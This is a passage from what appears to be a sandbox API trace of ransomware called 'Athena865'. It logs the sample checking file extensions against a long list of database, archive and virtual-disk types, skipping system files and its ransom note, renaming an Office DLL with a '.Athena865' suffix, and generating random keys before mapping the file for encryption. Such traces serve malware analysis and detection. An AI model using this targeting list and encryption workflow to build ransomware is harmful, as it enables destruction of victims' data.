(lpString1="dll", lpString2="nv2") returned -1 [0079.141] lstrlenW (lpString="nwdb") returned 4 [0079.141] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0079.141] lstrlenW (lpString="nyf") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0079.141] lstrlenW (lpString="odb") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0079.141] lstrlenW (lpString="odb") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0079.141] lstrlenW (lpString="oqy") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0079.141] lstrlenW (lpString="ora") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0079.141] lstrlenW (lpString="orx") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0079.142] lstrlenW (lpString="owc") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0079.142] lstrlenW (lpString="p96") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0079.142] lstrlenW (lpString="p97") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0079.142] lstrlenW (lpString="pan") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0079.142] lstrlenW (lpString="pdb") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0079.142] lstrlenW (lpString="pdm") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0079.142] lstrlenW (lpString="pnz") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0079.142] lstrlenW (lpString="qry") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0079.142] lstrlenW (lpString="qvd") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0079.142] lstrlenW (lpString="rbf") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0079.142] lstrlenW (lpString="rctd") returned 4 [0079.142] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0079.142] lstrlenW (lpString="rod") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0079.142] lstrlenW (lpString="rodx") returned 4 [0079.142] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0079.142] lstrlenW (lpString="rpd") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0079.142] lstrlenW (lpString="rsd") returned 3 [0079.142] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0079.142] lstrlenW (lpString="sas7bdat") returned 8 [0079.142] lstrcmpiW (lpString1="000C.dll", lpString2="sas7bdat") returned -1 [0079.143] lstrlenW (lpString="sbf") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0079.143] lstrlenW (lpString="scx") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0079.143] lstrlenW (lpString="sdb") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0079.143] lstrlenW (lpString="sdc") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0079.143] lstrlenW (lpString="sdf") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0079.143] lstrlenW (lpString="sis") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0079.143] lstrlenW (lpString="spq") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0079.143] lstrlenW (lpString="te") returned 2 [0079.143] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0079.143] lstrlenW (lpString="teacher") returned 7 [0079.143] lstrcmpiW (lpString1="00C.dll", lpString2="teacher") returned -1 [0079.143] lstrlenW (lpString="tmd") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0079.143] lstrlenW (lpString="tps") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0079.143] lstrlenW (lpString="trc") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0079.143] lstrlenW (lpString="trc") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0079.143] lstrlenW (lpString="trm") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0079.143] lstrlenW (lpString="udb") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0079.143] lstrlenW (lpString="udl") returned 3 [0079.143] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0079.144] lstrlenW (lpString="usr") returned 3 [0079.144] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0079.144] lstrlenW (lpString="v12") returned 3 [0079.144] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0079.144] lstrlenW (lpString="vis") returned 3 [0079.144] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0079.144] lstrlenW (lpString="vpd") returned 3 [0079.144] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0079.144] lstrlenW (lpString="vvv") returned 3 [0079.144] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0079.144] lstrlenW (lpString="wdb") returned 3 [0079.144] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0079.144] lstrlenW (lpString="wmdb") returned 4 [0079.144] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0079.144] lstrlenW (lpString="wrk") returned 3 [0079.144] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0079.144] lstrlenW (lpString="xdb") returned 3 [0079.144] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0079.144] lstrlenW (lpString="xld") returned 3 [0079.144] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0079.144] lstrlenW (lpString="xmlff") returned 5 [0079.144] lstrcmpiW (lpString1="C.dll", lpString2="xmlff") returned -1 [0079.144] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll.Athena865") returned 70 [0079.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000c.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000c.dll.athena865"), dwFlags=0x1) returned 1 [0079.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000c.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0079.146] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5674928) returned 1 [0079.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0079.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0079.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0079.146] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0079.147] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0079.147] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.147] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x569ab0, lpName=0x0) returned 0x17c [0079.149] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x169ab0) returned 0x2d50000 [0079.326] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0079.407] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0079.425] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0079.426] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0079.426] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0079.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0079.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0079.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0079.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0079.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0079.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0079.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0079.426] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0079.439] CloseHandle (hObject=0x17c) returned 1 [0079.440] CloseHandle (hObject=0x154) returned 1 [0079.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0079.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0079.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0079.449] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x652bb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NL7Models0011.DLL", cAlternateFileName="NL7MOD~4.DLL")) returned 1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2=".") returned 1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="..") returned 1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="windows") returned -1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="bootmgr") returned 1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="temp") returned -1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="pagefile.sys") returned -1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="boot") returned 1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="ids.txt") returned 1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="ntuser.dat") returned -1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="perflogs") returned -1 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2="MSBuild") returned 1 [0079.449] lstrlenW (lpString="NL7Models0011.DLL") returned 17 [0079.449] lstrcpyW (in: lpString1=0x241e89e, lpString2="NL7Models0011.DLL" | out: lpString1="NL7Models0011.DLL") returned="NL7Models0011.DLL" [0079.449] lstrlenW (lpString="NL7Models0011.DLL") returned 17 [0079.449] lstrlenW (lpString="Athena865") returned 9 [0079.449] lstrcmpiW (lpString1="s0011.DLL", lpString2="Athena865") returned 1 [0079.449] lstrlenW (lpString=".dll") returned 4 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2=".dll") returned 1 [0079.449] lstrlenW (lpString=".lnk") returned 4 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2=".lnk") returned 1 [0079.449] lstrlenW (lpString=".ini") returned 4 [0079.449] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2=".ini") returned 1 [0079.450] lstrlenW (lpString=".sys") returned 4 [0079.450] lstrcmpiW (lpString1="NL7Models0011.DLL", lpString2=".sys") returned 1 [0079.450] lstrlenW (lpString="NL7Models0011.DLL") returned 17 [0079.450] lstrlenW (lpString="bak") returned 3 [0079.450] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0079.450] lstrlenW (lpString="ba_") returned 3 [0079.450] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0079.450] lstrlenW (lpString="dbb") returned 3 [0079.450] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0079.450] lstrlenW (lpString="vmdk") returned 4 [0079.450] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0079.450] lstrlenW (lpString="rar") returned 3 [0079.450] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0079.450] lstrlenW (lpString="zip") returned 3 [0079.450] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0079.450] lstrlenW (lpString="tgz") returned 3 [0079.450] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0079.450] lstrlenW (lpString="vbox") returned 4 [0079.450] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0079.450] lstrlenW (lpString="vdi") returned 3 [0079.450] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0079.450] lstrlenW (lpString="vhd") returned 3 [0079.450] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0079.450] lstrlenW (lpString="vhdx") returned 4 [0079.450] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0079.450] lstrlenW (lpString="avhd") returned 4 [0079.450] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0079.450] lstrlenW (lpString="db") returned 2 [0079.450] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0079.450] lstrlenW (lpString="db2") returned 3 [0079.450] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0079.450] lstrlenW (lpString="db3") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0079.451] lstrlenW (lpString="dbf") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0079.451] lstrlenW (lpString="mdf") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0079.451] lstrlenW (lpString="mdb") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0079.451] lstrlenW (lpString="sql") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0079.451] lstrlenW (lpString="sqlite") returned 6 [0079.451] lstrcmpiW (lpString1="11.DLL", lpString2="sqlite") returned -1 [0079.451] lstrlenW (lpString="sqlite3") returned 7 [0079.451] lstrcmpiW (lpString1="011.DLL", lpString2="sqlite3") returned -1 [0079.451] lstrlenW (lpString="sqlitedb") returned 8 [0079.451] lstrcmpiW (lpString1="0011.DLL", lpString2="sqlitedb") returned -1 [0079.451] lstrlenW (lpString="xml") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0079.451] lstrlenW (lpString="$er") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0079.451] lstrlenW (lpString="4dd") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0079.451] lstrlenW (lpString="4dl") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0079.451] lstrlenW (lpString="^^^") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0079.451] lstrlenW (lpString="abs") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0079.451] lstrlenW (lpString="abx") returned 3 [0079.451] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0079.451] lstrlenW (lpString="accdb") returned 5 [0079.451] lstrcmpiW (lpString1="1.DLL", lpString2="accdb") returned -1 [0079.451] lstrlenW (lpString="accdc") returned 5 [0079.452] lstrcmpiW (lpString1="1.DLL", lpString2="accdc") returned -1 [0079.452] lstrlenW (lpString="accde") returned 5 [0079.452] lstrcmpiW (lpString1="1.DLL", lpString2="accde") returned -1 [0079.452] lstrlenW (lpString="accdr") returned 5 [0079.452] lstrcmpiW (lpString1="1.DLL", lpString2="accdr") returned -1 [0079.452] lstrlenW (lpString="accdt") returned 5 [0079.452] lstrcmpiW (lpString1="1.DLL", lpString2="accdt") returned -1 [0079.452] lstrlenW (lpString="accdw") returned 5 [0079.452] lstrcmpiW (lpString1="1.DLL", lpString2="accdw") returned -1 [0079.452] lstrlenW (lpString="accft") returned 5 [0079.452] lstrcmpiW (lpString1="1.DLL", lpString2="accft") returned -1 [0079.452] lstrlenW (lpString="adb") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0079.452] lstrlenW (lpString="adb") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0079.452] lstrlenW (lpString="ade") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0079.452] lstrlenW (lpString="adf") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0079.452] lstrlenW (lpString="adn") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0079.452] lstrlenW (lpString="adp") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0079.452] lstrlenW (lpString="alf") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0079.452] lstrlenW (lpString="ask") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0079.452] lstrlenW (lpString="btr") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0079.452] lstrlenW (lpString="cat") returned 3 [0079.452] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0079.452] lstrlenW (lpString="cdb") returned 3 [0079.453] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0079.453] lstrlenW (lpString="ckp") returned 3 [0079.453] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0079.453] lstrlenW (lpString="cma") returned 3 [0079.453] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0079.453] lstrlenW (lpString="cpd") returned 3 [0079.453] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0079.453] lstrlenW (lpString="dacpac") returned 6 [0079.453] lstrcmpiW (lpString1="11.DLL", lpString2="dacpac") returned -1 [0079.453] lstrlenW (lpString="dad") returned 3 [0079.453] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0079.453] lstrlenW (lpString="dadiagrams") returned 10 [0079.453] lstrcmpiW (lpString1="ls0011.DLL", lpString2="dadiagrams") returned 1 [0079.453] lstrlenW (lpString="daschema") returned 8 [0079.453] lstrcmpiW (lpString1="0011.DLL", lpString2="daschema") returned -1 [0079.453] lstrlenW (lpString="db-journal") returned 10 [0079.453] lstrcmpiW (lpString1="ls0011.DLL", lpString2="db-journal") returned 1 [0079.453] lstrlenW (lpString="db-shm") returned 6 [0079.453] lstrcmpiW (lpString1="11.DLL", lpString2="db-shm") returned -1 [0079.453] lstrlenW (lpString="db-wal") returned 6 [0079.453] lstrcmpiW (lpString1="11.DLL", lpString2="db-wal") returned -1 [0079.453] lstrlenW (lpString="dbc") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0079.454] lstrlenW (lpString="dbs") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0079.454] lstrlenW (lpString="dbt") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0079.454] lstrlenW (lpString="dbv") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0079.454] lstrlenW (lpString="dbx") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0079.454] lstrlenW (lpString="dcb") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0079.454] lstrlenW (lpString="dct") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0079.454] lstrlenW (lpString="dcx") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0079.454] lstrlenW (lpString="ddl") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0079.454] lstrlenW (lpString="dlis") returned 4 [0079.454] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0079.454] lstrlenW (lpString="dp1") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0079.454] lstrlenW (lpString="dqy") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0079.454] lstrlenW (lpString="dsk") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0079.454] lstrlenW (lpString="dsn") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0079.454] lstrlenW (lpString="dtsx") returned 4 [0079.454] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0079.454] lstrlenW (lpString="dxl") returned 3 [0079.454] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0079.455] lstrlenW (lpString="eco") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0079.455] lstrlenW (lpString="ecx") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0079.455] lstrlenW (lpString="edb") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0079.455] lstrlenW (lpString="epim") returned 4 [0079.455] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0079.455] lstrlenW (lpString="fcd") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0079.455] lstrlenW (lpString="fdb") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0079.455] lstrlenW (lpString="fic") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0079.455] lstrlenW (lpString="flexolibrary") returned 12 [0079.455] lstrcmpiW (lpString1="dels0011.DLL", lpString2="flexolibrary") returned -1 [0079.455] lstrlenW (lpString="fm5") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0079.455] lstrlenW (lpString="fmp") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0079.455] lstrlenW (lpString="fmp12") returned 5 [0079.455] lstrcmpiW (lpString1="1.DLL", lpString2="fmp12") returned -1 [0079.455] lstrlenW (lpString="fmpsl") returned 5 [0079.455] lstrcmpiW (lpString1="1.DLL", lpString2="fmpsl") returned -1 [0079.455] lstrlenW (lpString="fol") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0079.455] lstrlenW (lpString="fp3") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0079.455] lstrlenW (lpString="fp4") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0079.455] lstrlenW (lpString="fp5") returned 3 [0079.455] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0079.456] lstrlenW (lpString="fp7") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0079.456] lstrlenW (lpString="fpt") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0079.456] lstrlenW (lpString="frm") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0079.456] lstrlenW (lpString="gdb") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0079.456] lstrlenW (lpString="gdb") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0079.456] lstrlenW (lpString="grdb") returned 4 [0079.456] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0079.456] lstrlenW (lpString="gwi") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0079.456] lstrlenW (lpString="hdb") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0079.456] lstrlenW (lpString="his") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0079.456] lstrlenW (lpString="ib") returned 2 [0079.456] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0079.456] lstrlenW (lpString="idb") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0079.456] lstrlenW (lpString="ihx") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0079.456] lstrlenW (lpString="itdb") returned 4 [0079.456] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0079.456] lstrlenW (lpString="itw") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0079.456] lstrlenW (lpString="jet") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0079.456] lstrlenW (lpString="jtx") returned 3 [0079.456] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0079.457] lstrlenW (lpString="kdb") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0079.457] lstrlenW (lpString="kexi") returned 4 [0079.457] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0079.457] lstrlenW (lpString="kexic") returned 5 [0079.457] lstrcmpiW (lpString1="1.DLL", lpString2="kexic") returned -1 [0079.457] lstrlenW (lpString="kexis") returned 5 [0079.457] lstrcmpiW (lpString1="1.DLL", lpString2="kexis") returned -1 [0079.457] lstrlenW (lpString="lgc") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0079.457] lstrlenW (lpString="lwx") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0079.457] lstrlenW (lpString="maf") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0079.457] lstrlenW (lpString="maq") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0079.457] lstrlenW (lpString="mar") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0079.457] lstrlenW (lpString="marshal") returned 7 [0079.457] lstrcmpiW (lpString1="011.DLL", lpString2="marshal") returned -1 [0079.457] lstrlenW (lpString="mas") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0079.457] lstrlenW (lpString="mav") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0079.457] lstrlenW (lpString="maw") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0079.457] lstrlenW (lpString="mdbhtml") returned 7 [0079.457] lstrcmpiW (lpString1="011.DLL", lpString2="mdbhtml") returned -1 [0079.457] lstrlenW (lpString="mdn") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0079.457] lstrlenW (lpString="mdt") returned 3 [0079.457] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0079.458] lstrlenW (lpString="mfd") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0079.458] lstrlenW (lpString="mpd") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0079.458] lstrlenW (lpString="mrg") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", 